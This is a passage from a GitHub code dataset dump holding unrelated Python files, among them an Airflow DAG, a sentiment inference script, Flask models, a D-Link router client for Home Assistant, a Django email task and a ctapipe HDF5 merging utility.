task_insert_data = PostgresOperator(\n task_id=\"insert_data_to_temp_table\",\n postgres_conn_id=postgres_conn_id,\n sql=temp_table.query_insert_template(),\n parameters=get_sample_data(),\n )\n\n task_count_rows_after = PythonOperator(\n task_id=\"count_rows_after\",\n python_callable=execute_query_postgres,\n op_kwargs={\n \"conn_id\": postgres_conn_id,\n \"query_str\": temp_table.query_count_rows(),\n \"print_results\": True,\n }\n )\n\n (\n task_create_temp_schema\n >> task_drop_temp_table\n >> task_create_temp_table\n >> task_count_rows_before\n >> task_insert_data\n >> task_count_rows_after\n )\n","repo_name":"Saul-S-Lee/datawarehouse-in-10min","sub_path":"airflow/dags/etl_db_check.py","file_name":"etl_db_check.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40847996083","text":"### Import Libraries ###\nimport os\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\nfrom tensorflow.keras.layers import Dense, Input\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.models import Model\nimport tensorflow_addons as tfa \nimport transformers\nfrom transformers import TFAutoModel, AutoTokenizer\n\n\n### Check GPU ###\n# print(\"Num GPUs Available: \", len(tf.config.list_physical_devices('GPU')))\n\n\n### Config / Set Constant Variable ###\nTEST_CSV_PATH = './data/test.csv'\n\nBATCH_SIZE = 16\nMAX_LEN = 256\nMODEL_NAME = 'jplu/tf-xlm-roberta-base'\nMODEL_WEIGHT_CONFIG_DIR ='./model_weights_config/xlmr-model/'\n\nos.environ[\"TOKENIZERS_PARALLELISM\"] = 'false'\n\n\n### Set Tokenizer ###\ntokenizer = AutoTokenizer.from_pretrained(MODEL_NAME)\n\n\n### Helper Functions ###\n# load test set into Pandas Dataframe\ndef load_test_data_into_dataframe(test_csv_location):\n \"\"\"\n Load CSV datasets into Pandas Dataframe.\n \n Parameters:\n ------------\n test_location : str \n A string of path location of test dataset in csv format.\n \n Returns:\n ------------\n test_df : Pandas Dataframe\n A Dataframe of test data.\n \"\"\"\n # Load csv in Pandas Dataframe\n test_df = pd.read_csv(test_csv_location)\n \n return test_df\n\n# Transformer Tokenizer tokenize and encode the textual data into embedding\ndef tokenizer_encode(texts, tokenizer, maxlen=512):\n \"\"\"\n Let Transformers Tokenizer API prepare the input data and encode, precisely tokenizing \n \n Parameters:\n ------------\n texts : list of str\n A list of string to be encoded by the tokenizer.\n tokenizer : Transformers AutoTokenizer\n A Tensorflow AutoTokenizer object loaded in order to encode the text data.\n max_len : int\n An integer representing the maximun length of each sample, also as the shape of outputs from 'frozen' body of transformer model.\n \n Returns:\n ------------\n model : Numpy Array\n An array of tokenizer-encoded vector from the texts.\n \"\"\"\n encoding = tokenizer.batch_encode_plus(\n texts,\n truncation=True,\n return_attention_mask=False, \n return_token_type_ids=False,\n padding='max_length',\n max_length=maxlen\n )\n \n encoding_array = np.array(encoding['input_ids'])\n \n return encoding_array\n\n# load test set into Tensorflow Dataset API\ndef load_test_into_tf_Dataset(tokenizer, test_df, batch_size=BATCH_SIZE):\n \"\"\"\n Load splitted test dataset into Tensorflow Dataset API for a more efficient input pipeline, especially for parallelism.\n \n Parameters:\n ------------\n tokenizer : Transformers AutoTokenizer\n A Tensorflow AutoTokenizer object loaded in order to encode the text data.\n test_df : Pandas Dataframe\n A Dataframe of loaded test data.\n batch_size : int\n An integer indicating the size of the batch. Here uses 16*num_of_TPU_core (=128) by default.\n\n \n Returns \n ------------\n test_dataset : tf.data.Dataset\n A Tensorflow Dataset API object of test set as an input pipeline for model inference.\n \"\"\"\n ## Tokenize the textual format data by calling tokenizer_encode()\n x_test = tokenizer_encode(texts=test_df.content.values.tolist(), tokenizer=tokenizer, maxlen=MAX_LEN)\n \n ## Build Tensorflow Dataset objects\n test_dataset = (\n tf.data.Dataset\n .from_tensor_slices(x_test)\n .batch(BATCH_SIZE)\n )\n \n return test_dataset \n\n# build output layer on top of the transformer model\ndef build_model(transformer, num_classes=3, activation='softmax', max_len=512):\n \"\"\"\n Create top layer on top of HuggingFace Transformer model for down-stream task. cls_token\n In my case, a multi-class classification is the goal. Taking into account that there are 3 classes, \n I use categorical accuracy, as well as weighted F1 score and Matthews correlation coefficient as metrics.\n \n Parameters:\n ------------\n transformer : Transformers TFAutoModel\n A string of path location of training dataset in csv format.\n num_classes : int\n A integer representing num\n activation : str\n A string indicating which actvation to be used in the output layer. \n max_len : int\n An integer representing the maximun length of each sample, also as the shape of outputs from 'frozen' body of transformer model.\n \n Returns:\n ------------\n model : \n configed model ready to be used\n \"\"\"\n input_word_ids = Input(shape=(max_len,), dtype=tf.int32, name=\"input_word_ids\")\n sequence_output = transformer(input_word_ids)[0]\n cls_token = sequence_output[:, 0, :]\n out = Dense(units=num_classes, activation=activation, name=activation)(cls_token) # set units=3 because we have three classes\n \n # add weighted F1 score and Matthews correlation coefficient as metrics\n f1 = tfa.metrics.F1Score(num_classes=num_classes, average='weighted')\n mcc = tfa.metrics.MatthewsCorrelationCoefficient(num_classes=num_classes)\n \n model = Model(inputs=input_word_ids, outputs=out)\n model.compile(Adam(lr=1e-5), loss='categorical_crossentropy', metrics=['categorical_accuracy', f1, mcc])\n \n return model\n\n# load model weights from fine-tuned model weights saved in directory\ndef load_model(model_dir=MODEL_WEIGHT_CONFIG_DIR, max_len=MAX_LEN):\n \"\"\"\n Function to load a keras model that uses a transformer layer\n \n Parameters :\n ------------\n model_dir : str\n A string indicating where model's weight and config file are.\n max_len : int\n An integer representing the maximun length of each sample, to be passed to build_model() function.\n\n Returns:\n ------------\n model : \n configed model with weights loaded from fine-tuned model.\n \"\"\"\n transformer = TFAutoModel.from_pretrained(model_dir)\n model = build_model(transformer, max_len=max_len)\n softmax = pickle.load(open(model_dir+'softmax.pickle', 'rb'))\n model.get_layer('softmax').set_weights(softmax)\n\n return model\n\n# function to be used in later coonverting inference label from int back to string\ndef label_int_2_str(x): \n \"\"\"\n Convert encoded int labels back to string sentiment labels.\n \"\"\"\n if x == 0:\n return 'negative'\n elif x == 1:\n return 'neutral'\n elif x == 2:\n return 'positive'\n\n\n### Load Data ###\n# load test set into Pandas Dataframe and Tensorflow Dataset API\ntest_df = load_test_data_into_dataframe(TEST_CSV_PATH)\ntest_dataset = load_test_into_tf_Dataset(tokenizer=tokenizer, test_df=test_df, batch_size=BATCH_SIZE)\n\n\n### Load Model & Inference ###\nif len(tf.config.list_physical_devices('GPU')) > 0:\n # place proces on GPU\n print('Using GPU for inference.\\n')\n with tf.device('/GPU:0'):\n # load model weights from fine-tuned model weights saved in /xlmr-model/ directory\n model = load_model(model_dir=MODEL_WEIGHT_CONFIG_DIR, max_len=MAX_LEN)\n # inference\n prediction_array = model.predict(test_dataset, verbose=1)\nelif len(tf.config.list_physical_devices('GPU')) == 0:\n # place process on CPU\n print('Using CPU for inference.\\n')\n with tf.device('/CPU:0'):\n # load model weights from fine-tuned model weights saved in /xlmr-model/ directory\n model = load_model(model_dir=MODEL_WEIGHT_CONFIG_DIR, max_len=MAX_LEN)\n # inference\n prediction_array = model.predict(test_dataset, verbose=1)\n\n\n# convert probability for each class to int label\ntest_df['inference_int'] = np.argmax(prediction_array, axis=-1)\n# convert int label to string label : 0=negative, 1=neutral, 2=positive\ntest_df['inference_sentiment'] = test_df['inference_int'].apply(label_int_2_str)\n# drop column of int label\ntest_df = test_df.drop('inference_int', axis=1)\n# save inference results to `predictions.csv`\ntest_df.to_csv('predictions.csv')","repo_name":"yiting-tsai/sentiment-analysis-test","sub_path":"xlmr-inference.py","file_name":"xlmr-inference.py","file_ext":"py","file_size_in_byte":7948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"35624169270","text":"import importlib\r\nimport sys\r\nfrom abc import ABC, abstractmethod\r\n\r\n\r\nclass DayBase:\r\n YEAR = \"\"\r\n DAY = \"\"\r\n PART_AS_SUFFIX = False\r\n\r\n def run_part(self, part, input=None, **kwargs):\r\n aoc_module = importlib.import_module(\"aoc{}.day{}\".format(self.YEAR, self.DAY))\r\n if not isinstance(input, list):\r\n input = self.input_filename(part, input)\r\n if part == \"a\":\r\n return aoc_module.part_a(input, **kwargs)\r\n elif part == \"b\":\r\n return aoc_module.part_b(input, **kwargs)\r\n else:\r\n assert False\r\n return 0\r\n\r\n def input_filename(self, part, suffix):\r\n if suffix:\r\n suffix = \"_\" + suffix\r\n else:\r\n suffix = \"\"\r\n if self.PART_AS_SUFFIX:\r\n suffix = \"part\" + suffix\r\n return \"data/aoc{}/day{}{}.txt\".format(self.YEAR, self.DAY, suffix)\r\n\r\n def run_cmdline(self):\r\n\r\n if \"a\" in sys.argv:\r\n part = \"a\"\r\n elif \"b\" in sys.argv:\r\n part = \"b\"\r\n else:\r\n assert \"Part not a or b\"\r\n print(self.run_part(part))\r\n","repo_name":"colinroybell/aoc-py","sub_path":"src/utils/day_base.py","file_name":"day_base.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36109074118","text":"import re\nimport urllib.request\n\ndef getHtml(url):\n page = urllib.request.urlopen(url)\n html = page.read()\n return html\n\nbdurl = 'http://tieba.baidu.com/p/' + str(raw_input(u'http://tieba.baidu.com/p/'))\nhtml = bdurl\n\nhtml = html.decode('UTF-8')\n\n\ndef getImg(html):\n\n reg = r'src=\"([.*\\S]*\\.jpg)\" pic_ext=\"jpeg\"'\n imgre = re.compile(reg);\n imglist = re.findall(imgre, html)\n return imglist\n\nimgList = getImg(html)\nimgName = 0\nfor imgPath in imgList:\n\n f = open(\"pic/\"+str(imgName)+\".jpg\", 'wb')\n f.write((urllib.request.urlopen(imgPath)).read())\n f.close()\n imgName += 1\n\nprint(\"All Done!\")","repo_name":"xzenge/tools","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72075108692","text":"\"\"\"\nPROGRAM MAIN APPLICATION - Program to define modules used in main application\nPROGRAMMER - XU Xiang (1155107785);\n LAI Wei (1155095200);\n ZENG Meiqi (1155107891);\n ZHANG Yusong(1155107841);\n ZHOU Yifan (1155124411)\nCALLING SEQUENCE - The modules will be accessed and used by app.py\nVERSION - written on 2021/04/13\nPURPOSE - To define three potential modules for clear coding, namely user, course and question\n\"\"\"\n\nfrom flask_login import UserMixin\nfrom db.manipulator import Manipulator\n\nmani = Manipulator()\n\n\nclass User(UserMixin):\n def __init__(self, input_email):\n self.user_name = mani.fetch_user_info_by_email(input_email, ['user_name'])\n self.user_id = mani.fetch_user_info_by_email(input_email, ['user_id'])\n self.first_name = mani.fetch_user_info_by_email(input_email, ['first_name'])\n self.last_name = mani.fetch_user_info_by_email(input_email, ['last_name'])\n self.email = mani.fetch_user_info_by_email(input_email, ['email'])\n self.password = mani.fetch_user_info_by_email(input_email, ['password'])\n self.is_student = mani.fetch_user_info_by_email(input_email, ['is_student'])\n self.activated = mani.fetch_user_info_by_email(input_email, ['activated'])\n\n self.current_course_id = 0\n self.current_course = dict()\n self.current_q_id = 0\n self.current_q = dict()\n\n self.token = str()\n\n def get_id(self):\n return self.email\n\n @staticmethod\n def get(user_email):\n if not user_email:\n return None\n return User(user_email)\n\n def activate(self, token):\n if token == self.token:\n self.activated = 1\n return True\n else:\n return False\n\n def fill_course_info(self):\n self.current_course = Course(self.current_course_id)\n\n def fill_question_info(self):\n self.current_q = Question(self.current_q_id)\n\n\nclass Course:\n def __init__(self, course_id):\n self.course_id = course_id\n self.course_code = mani.fetch_course_info_by_id(course_id, ['course_code'])\n self.course_name = mani.fetch_course_info_by_id(course_id, ['course_name'])\n self.course_instructor = mani.fetch_course_info_by_id(course_id, ['course_instructor'])\n self.course_token = mani.fetch_course_info_by_id(course_id, ['course_token'])\n\n\nclass Question:\n def __init__(self, q_id):\n self.q_id = q_id\n self.owner_id = mani.fetch_question_info_by_id(q_id, ['owner_id'])\n self.course_id = mani.fetch_question_info_by_id(q_id, ['course_id'])\n self.q_title = mani.fetch_question_info_by_id(q_id, ['q_title'])\n self.q_content = mani.fetch_question_info_by_id(q_id, ['q_content'])\n self.q_answer = mani.fetch_question_info_by_id(q_id, ['q_answer'])\n self.q_status = mani.fetch_question_info_by_id(q_id, ['q_status'])\n","repo_name":"XUXiangCUHK/WeCoupon","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16187272990","text":"import os\ndef main(s):\n\tfio = open(s,\"r\")\n\tlines = fio.readlines()\n\tnumber = 0\n\tfor line in lines:\n\t\tif line[0] == '=':\n\t\t\tpass\n\t\telse:\n\t\t\tline = line.split(' ')\n\t\t\tnumber = number + len(line)\n\treturn number\n\n\nENFP = ['Hunter S. Thompson', 'Mark Twain', 'Oscar Wilde', 'Aldous Huxley', 'Umberto Eco', 'Salman Rushdie', 'Julian Assange', 'Ralph Nader', 'Anne Frank', 'Arianna Huffington', 'Walt Disney', 'Kurt Vonnegut', 'Osho', 'Naomi Klein', 'Michio Kaku', 'Brian Cox', 'Joseph Campbell', 'Alan Watts', 'Jacques Derrida', 'Anais Nin', 'Ellen DeGeneres', 'Katie Couric', 'Rachel Maddow', 'Keira Knightley', 'Orson Welles', 'George Carlin', 'Oliver Stone', 'Jack White', 'Robin Williams', 'Jerry Seinfeld', 'Gwen Stefani', 'Jennifer Aniston', 'Sandra Bullock', 'Jenna Elfman', 'Alicia Silverstone', 'Sarah Michelle Gellar', 'Daniel Radcliffe', 'James Mercer', 'Carly Rae Jepsen', 'Philippe Jaroussky', 'Sharon Stone']\n\n\nif __name__==\"__main__\":\n\tos.system(\"touch outputadj.txt\")\n\tfio = open(\"outputadj.txt\",\"w\")\n\tserial = 1\n\tfio.write(\"S.No Name Category WordCount\\n\") \n\tfor files in ENFP:\n\t\tfilea = files.replace(' ','_')\n\t\ti = filea + \"_adj.txt\"\n\t\tif i!='output.txt' and i!='temp.py' and i!='count.py' and i!='searchadj.py' and i!='outputadj.txt' and i!='countbio.py':\n\t\t\tout = main(i)\n\t\t\toutstring = str(serial) + \" \" + i\n\t\t\tj = 30 - len(i)\n\t\t\tfor u in range(j):\n\t\t\t\toutstring = outstring + ' '\n\t\t\t\n\t\t\toutstring = outstring + \"ENFP\" + \" \" + str(out)+\"\\n\"\n\t\t\tfio.write(outstring)\n\t\t\tserial = serial + 1\n\tfio.close()\n\t\t\t\n\n","repo_name":"Madity/Biographies","sub_path":"ENFP/count.py","file_name":"count.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"10011184","text":"import xml.etree.ElementTree as ET\nimport hashlib\nimport hmac\nimport time\nimport logging\nimport xmltodict\nfrom collections import defaultdict\nimport pprint\nfrom homeassistant.helpers.aiohttp_client import (\n async_create_clientsession,\n async_get_clientsession,\n)\n\n\n_LOGGER = logging.getLogger(__name__)\n\nclass DLinkHNAP(object):\n \"\"\"\n HNAP integration from @LinuxChristian https://github.com/LinuxChristian/pyW215\n Note:\n The library is greatly inspired by the javascript library by @bikerp (https://github.com/bikerp).\n Class layout is inspired by @rkabadi (https://github.com/rkabadi) for the Edimax Smart plug.\n \"\"\"\n\n def __init__(self, ip, password, hass, user=\"Admin\"):\n self.ip = ip\n self.url = \"http://{}/HNAP1/\".format(ip)\n self.user = user\n self.password = password\n self.authenticated = None\n self._error_report = False\n self.session = async_create_clientsession(hass)\n #self.model_name = self.SOAPAction(Action=\"GetDeviceSettings\", responseElement=\"ModelName\", params=\"\")\n \n \n \n \n def requestBody(self, Action, params):\n \"\"\"Returns the request payload for an action as XML>.\n\n :type Action: str\n :type params: str\n :param Action: Which action to perform\n :param params: Any parameters required for request\n :return XML payload for request\n \"\"\"\n return '''\n \n \n <{} xmlns=\"http://purenetworks.com/HNAP1/\">\n {}\n \n \n \n '''.format(Action, params, Action)\n \n @property\n async def get_authenticated(self):\n \n return self.authenticated\n \n async def SOAPAction(self, Action, responseElement, params=\"\", recursive=False):\n \"\"\"Generate the SOAP action call.\n\n :type Action: str\n :type responseElement: str\n :type params: str\n :type recursive: bool\n :param Action: The action to perform on the device\n :param responseElement: The XML element that is returned upon success\n :param params: Any additional parameters required for performing request (i.e. RadioID, moduleID, ect)\n :param recursive: True if first attempt failed and now attempting to re-authenticate prior\n :return: Text enclosed in responseElement brackets\n \"\"\"\n auth = self.authenticated\n payload = self.requestBody(Action, params)\n\n # Timestamp in microseconds\n time_stamp = str(round(time.time() / 1e6))\n\n action_url = '\"http://purenetworks.com/HNAP1/{}\"'.format(Action)\n AUTHKey = hmac.new(auth[0].encode(), (time_stamp + action_url).encode(), digestmod=hashlib.md5).hexdigest().upper() + \" \" + time_stamp\n\n headers = {'Content-Type': '\"text/xml; charset=utf-8\"',\n 'SOAPAction': '\"http://purenetworks.com/HNAP1/{}\"'.format(Action),\n 'HNAP_AUTH': '{}'.format(AUTHKey),\n 'Cookie': 'uid={}'.format(auth[1])}\n\n async with self.session.post(self.url, data=payload, headers=headers) as response:\n #response = urlopen(Request(self.url, payload.encode(), headers))\n xmlData = await response.text()\n return xmltodict.parse(xmlData)\n \n @property\n async def client_list(self):\n \"\"\"Get the current power consumption in Watt.\"\"\"\n res = 'N/A'\n res = await self.SOAPAction('GetClientInfo', 'ClientInfoLists')\n clientsRaw = res[\"soap:Envelope\"][\"soap:Body\"][\"GetClientInfoResponse\"][\"ClientInfoLists\"][\"ClientInfo\"]\n \n result = {}\n for client in clientsRaw :\n if client[\"Type\"] != \"OFFLINE\":\n result[client[\"MacAddress\"]] = {\n 'name': client[\"DeviceName\"],\n 'nickName': client[\"NickName\"],\n 'is_connected': client[\"Type\"] == \"OFFLINE\" and 0 or 1,\n 'mac': client[\"MacAddress\"]\n }\n return result\n \n \n async def auth(self):\n \"\"\"Authenticate using the SOAP interface.\n\n Authentication is a two-step process. First a initial payload\n is sent to the device requesting additional login information in the form\n of a publickey, a challenge string and a cookie.\n These values are then hashed by a MD5 algorithm producing a privatekey\n used for the header and a hashed password for the XML payload.\n\n If everything is accepted the XML returned will contain a LoginResult tag with the\n string 'success'.\n\n See https://github.com/bikerp/dsp-w215-hnap/wiki/Authentication-process for more information.\n \"\"\"\n\n payload = self.initial_auth_payload()\n\n # Build initial header\n headers = {'Content-Type': '\"text/xml; charset=utf-8\"',\n 'SOAPAction': '\"http://purenetworks.com/HNAP1/Login\"'}\n\n # Request privatekey, cookie and challenge\n \n \n async with self.session.post(self.url, data=payload, headers=headers) as response:\n xmlData = await response.text()\n root = ET.fromstring(xmlData)\n\n # Find responses\n ChallengeResponse = root.find('.//{http://purenetworks.com/HNAP1/}Challenge')\n CookieResponse = root.find('.//{http://purenetworks.com/HNAP1/}Cookie')\n PublickeyResponse = root.find('.//{http://purenetworks.com/HNAP1/}PublicKey')\n\n if (\n ChallengeResponse == None or CookieResponse == None or PublickeyResponse == None) and self._error_report is False:\n _LOGGER.warning(\"Failed to receive initial authentication from router.\")\n self._error_report = True\n return\n\n if self._error_report is True:\n return\n\n Challenge = ChallengeResponse.text\n Cookie = CookieResponse.text\n Publickey = PublickeyResponse.text\n\n # Generate hash responses\n PrivateKey = hmac.new((Publickey + self.password).encode(), (Challenge).encode(), digestmod=hashlib.md5).hexdigest().upper()\n login_pwd = hmac.new(PrivateKey.encode(), Challenge.encode(), digestmod=hashlib.md5).hexdigest().upper()\n\n response_payload = self.auth_payload(login_pwd)\n # Build response to initial request\n headers = {'Content-Type': '\"text/xml; charset=utf-8\"',\n 'SOAPAction': '\"http://purenetworks.com/HNAP1/Login\"',\n 'HNAP_AUTH': '\"{}\"'.format(PrivateKey),\n 'Cookie': 'uid={}'.format(Cookie)}\n \n async with self.session.post(self.url, data=response_payload, headers=headers) as response:\n xmlData = await response.text()\n root = ET.fromstring(xmlData)\n\n # Find responses\n login_status = root.find('.//{http://purenetworks.com/HNAP1/}LoginResult').text.lower()\n\n if login_status != \"success\" and self._error_report is False:\n _LOGGER.error(\"Failed to authenticate with DLink Router {}\".format(self.ip))\n self._error_report = True\n return\n\n self._error_report = False # Reset error logging\n self.authenticated = (PrivateKey, Cookie)\n return (PrivateKey, Cookie)\n\n def initial_auth_payload(self):\n \"\"\"Return the initial authentication payload.\"\"\"\n\n return b'''\n \n \n \n request\n admin\n \n \n \n \n \n '''\n\n def auth_payload(self, login_pwd):\n \"\"\"Generate a new payload containing generated hash information.\n\n :type login_pwd: str\n :param login_pwd: hashed password generated by the auth function.\n \"\"\"\n\n payload = '''\n \n \n \n login\n {}\n {}\n \n \n \n \n '''.format(self.user, login_pwd)\n\n return payload.encode()\n","repo_name":"waffelheld/dlink-device-tracker","sub_path":"custom_components/dlink_device_tracker/dlink_hnap.py","file_name":"dlink_hnap.py","file_ext":"py","file_size_in_byte":8956,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"73710500052","text":"from typing import Dict, Any\n\nfrom django.core.mail import send_mail\nfrom django.conf import settings\nfrom celery import shared_task\nfrom rest_framework_jwt.settings import api_settings\nfrom requests import post\n\nfrom .models import User\nfrom .serializers import ConfirmEmailSerializer\n\n\n@shared_task\ndef broadcast_registration(uuid: str, username: str) -> bool:\n subscribers = [\n 'http://core:8000/profiles',\n ]\n\n responses = []\n\n signed_user_uuid = api_settings.JWT_ENCODE_HANDLER({\n 'uuid': uuid,\n 'username': username,\n })\n\n for subscriber in subscribers:\n responses.append(post(url=subscriber, json={'token': signed_user_uuid}))\n\n return all([response.status_code == 201 for response in responses])\n\n\n@shared_task\ndef send_confirmation_email(user: Dict[str, Any]) -> bool:\n url = f'{settings.FRONTEND_URL}/confirm-registration'\n message = f'Use the link to confirm email: {url}?token={user[\"token\"]}'\n\n sent_mails = send_mail(\n subject='FootHub Registration',\n message=message,\n from_email='FootHub Team ',\n recipient_list=[user['email']],\n fail_silently=False,\n )\n\n return sent_mails == 1\n\n\ndef on_create(user: User) -> None:\n broadcast_registration.delay(uuid=user.uuid, username=user.username)\n send_confirmation_email.delay(user=ConfirmEmailSerializer(user).data)\n","repo_name":"foothub-archive/auth-service","sub_path":"auth/users/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30354679849","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n26. 強調マークアップの除去\n25の処理時に,テンプレートの値からMediaWikiの強調マークアップ(弱い強調,強調,強い強調のすべて)を除去してテキストに変換せよ(参考: マークアップ早見表).\n'''\nimport re\n\ndef removeEnph(text):\n enpha_reg = '\\'{2,5}'\n text = re.sub(enpha_reg, '', text)\n return text\n\ndef template():\n text_reg = re.compile('({{基礎情報 国\\n\\|)((.\\n*)*)(\\n}})')\n line_reg = re.compile('^(.+) = ((.\\n*)+)')\n\n with open('UK.txt', 'r') as f:\n info_dict = dict()\n text = re.search(text_reg, f.read()).group(2)\n for li in text.split('\\n|'):\n pattern = re.search(line_reg, li)\n if pattern:\n info_dict[pattern.group(1)] = removeEnph(pattern.group(2))\n return info_dict\n\nif __name__ == '__main__':\n temp_dict = template()\n for k,v in temp_dict.items():\n print('{}:{}'.format(k,v))\n","repo_name":"go-inoue/nlp100knock","sub_path":"chapter03/nlp26.py","file_name":"nlp26.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1782777597","text":"import enum\nimport uuid\nimport warnings\nfrom contextlib import ExitStack\nfrom pathlib import Path\nfrom typing import Union\n\nimport tables\nfrom astropy.time import Time\n\nfrom ..core import Component, Provenance, traits\nfrom ..instrument.optics import FocalLengthKind\nfrom ..instrument.subarray import SubarrayDescription\nfrom ..utils.arrays import recarray_drop_columns\nfrom . import metadata\nfrom .hdf5tableio import DEFAULT_FILTERS, get_column_attrs, get_node_meta, split_h5path\n\n\nclass NodeType(enum.Enum):\n # a single table\n TABLE = enum.auto()\n # a group comprising tel_XXX tables\n TEL_GROUP = enum.auto()\n # a group with children of the form //\n ALGORITHM_GROUP = enum.auto()\n # a group with children of the form ///\n ALGORITHM_TEL_GROUP = enum.auto()\n\n\n#: nodes to check for merge-ability\n_NODES_TO_CHECK = {\n \"/configuration/observation/scheduling_block\": NodeType.TABLE,\n \"/configuration/observation/observation_block\": NodeType.TABLE,\n \"/configuration/simulation/run\": NodeType.TABLE,\n \"/simulation/service/shower_distribution\": NodeType.TABLE,\n \"/simulation/event/subarray/shower\": NodeType.TABLE,\n \"/simulation/event/telescope/impact\": NodeType.TEL_GROUP,\n \"/simulation/event/telescope/images\": NodeType.TEL_GROUP,\n \"/simulation/event/telescope/parameters\": NodeType.TEL_GROUP,\n \"/r0/event/telescope\": NodeType.TEL_GROUP,\n \"/r1/event/telescope\": NodeType.TEL_GROUP,\n \"/dl1/event/subarray/trigger\": NodeType.TABLE,\n \"/dl1/event/telescope/trigger\": NodeType.TABLE,\n \"/dl1/event/telescope/images\": NodeType.TEL_GROUP,\n \"/dl1/event/telescope/parameters\": NodeType.TEL_GROUP,\n \"/dl1/event/telescope/muon\": NodeType.TEL_GROUP,\n \"/dl2/event/telescope\": NodeType.ALGORITHM_TEL_GROUP,\n \"/dl2/event/subarray\": NodeType.ALGORITHM_GROUP,\n \"/dl1/monitoring/subarray/pointing\": NodeType.TABLE,\n \"/dl1/monitoring/telescope/pointing\": NodeType.TEL_GROUP,\n}\n\n\ndef _get_required_nodes(h5file):\n \"\"\"Return nodes to be required in a new file for appending to ``h5file``\"\"\"\n required_nodes = set()\n for node, node_type in _NODES_TO_CHECK.items():\n if node not in h5file.root:\n continue\n\n if node_type in (NodeType.TABLE, NodeType.TEL_GROUP):\n required_nodes.add(node)\n\n elif node_type is NodeType.ALGORITHM_GROUP:\n for kind_group in h5file.root[node]._f_iter_nodes(\"Group\"):\n for table in kind_group._f_iter_nodes(\"Table\"):\n required_nodes.add(table._v_pathname)\n\n elif node_type is NodeType.ALGORITHM_TEL_GROUP:\n for kind_group in h5file.root[node]._f_iter_nodes(\"Group\"):\n for algorithm_group in kind_group._f_iter_nodes(\"Group\"):\n required_nodes.add(algorithm_group._v_pathname)\n else:\n raise ValueError(f\"Unhandled node type: {node_type} of {node}\")\n\n return required_nodes\n\n\nclass CannotMerge(IOError):\n \"\"\"Raised when trying to merge incompatible files\"\"\"\n\n\nclass HDF5Merger(Component):\n \"\"\"\n Class to copy / append / merge ctapipe hdf5 files\n \"\"\"\n\n output_path = traits.Path(directory_ok=False).tag(config=True)\n\n overwrite = traits.Bool(\n False,\n help=\"If true, the ``output_path`` is overwritten in case it exists. See also ``append``\",\n ).tag(config=True)\n\n append = traits.Bool(\n False,\n help=\"If true, the ``output_path`` is appended to. See also ``overwrite``\",\n ).tag(config=True)\n\n telescope_events = traits.Bool(\n True,\n help=\"Whether to include telescope-wise data in merged output\",\n ).tag(config=True)\n\n simulation = traits.Bool(\n True,\n help=\"Whether to include data only known for simulations in merged output\",\n ).tag(config=True)\n\n true_images = traits.Bool(\n True,\n help=\"Whether to include true images in merged output\",\n ).tag(config=True)\n\n true_parameters = traits.Bool(\n True,\n help=\"Whether to include parameters calculated on true images in merged output\",\n ).tag(config=True)\n\n r0_waveforms = traits.Bool(\n True,\n help=\"Whether to include r0 waveforms in merged output\",\n ).tag(config=True)\n\n r1_waveforms = traits.Bool(\n True,\n help=\"Whether to include r1 waveforms in merged output\",\n ).tag(config=True)\n\n dl1_images = traits.Bool(\n True,\n help=\"Whether to include dl1 images in merged output\",\n ).tag(config=True)\n\n dl1_parameters = traits.Bool(\n True,\n help=\"Whether to include dl1 image parameters in merged output\",\n ).tag(config=True)\n\n dl1_muon = traits.Bool(\n True,\n help=\"Whether to include dl1 muon parameters in merged output\",\n ).tag(config=True)\n\n dl2_subarray = traits.Bool(\n True, help=\"Whether to include dl2 subarray-event-wise data in merged output\"\n ).tag(config=True)\n\n dl2_telescope = traits.Bool(\n True, help=\"Whether to include dl2 telescope-event-wise data in merged output\"\n ).tag(config=True)\n\n monitoring = traits.Bool(\n True, help=\"Whether to include monitoring data in merged output\"\n ).tag(config=True)\n\n processing_statistics = traits.Bool(\n True, help=\"Whether to include processing statistics in merged output\"\n ).tag(config=True)\n\n def __init__(self, output_path=None, **kwargs):\n # enable using output_path as posarg\n if output_path not in {None, traits.Undefined}:\n kwargs[\"output_path\"] = output_path\n\n super().__init__(**kwargs)\n\n if self.overwrite and self.append:\n raise traits.TraitError(\"overwrite and append are mutually exclusive\")\n\n output_exists = self.output_path.exists()\n appending = False\n if output_exists and not (self.append or self.overwrite):\n raise traits.TraitError(\n f\"output_path '{self.output_path}' exists but neither append nor overwrite allowed\"\n )\n\n if output_exists and self.append:\n appending = True\n\n self.h5file = tables.open_file(\n self.output_path,\n mode=\"a\" if appending else \"w\",\n filters=DEFAULT_FILTERS,\n )\n Provenance().add_output_file(str(self.output_path))\n\n self.required_nodes = None\n self.data_model_version = None\n self.subarray = None\n self.meta = None\n # output file existed, so read subarray and data model version to make sure\n # any file given matches what we already have\n if appending:\n self.meta = self._read_meta(self.h5file)\n self.data_model_version = self.meta.product.data_model_version\n\n # focal length choice doesn't matter here, set to equivalent so we don't get\n # an error if only the effective focal length is available in the file\n self.subarray = SubarrayDescription.from_hdf(\n self.h5file,\n focal_length_choice=FocalLengthKind.EQUIVALENT,\n )\n self.required_nodes = 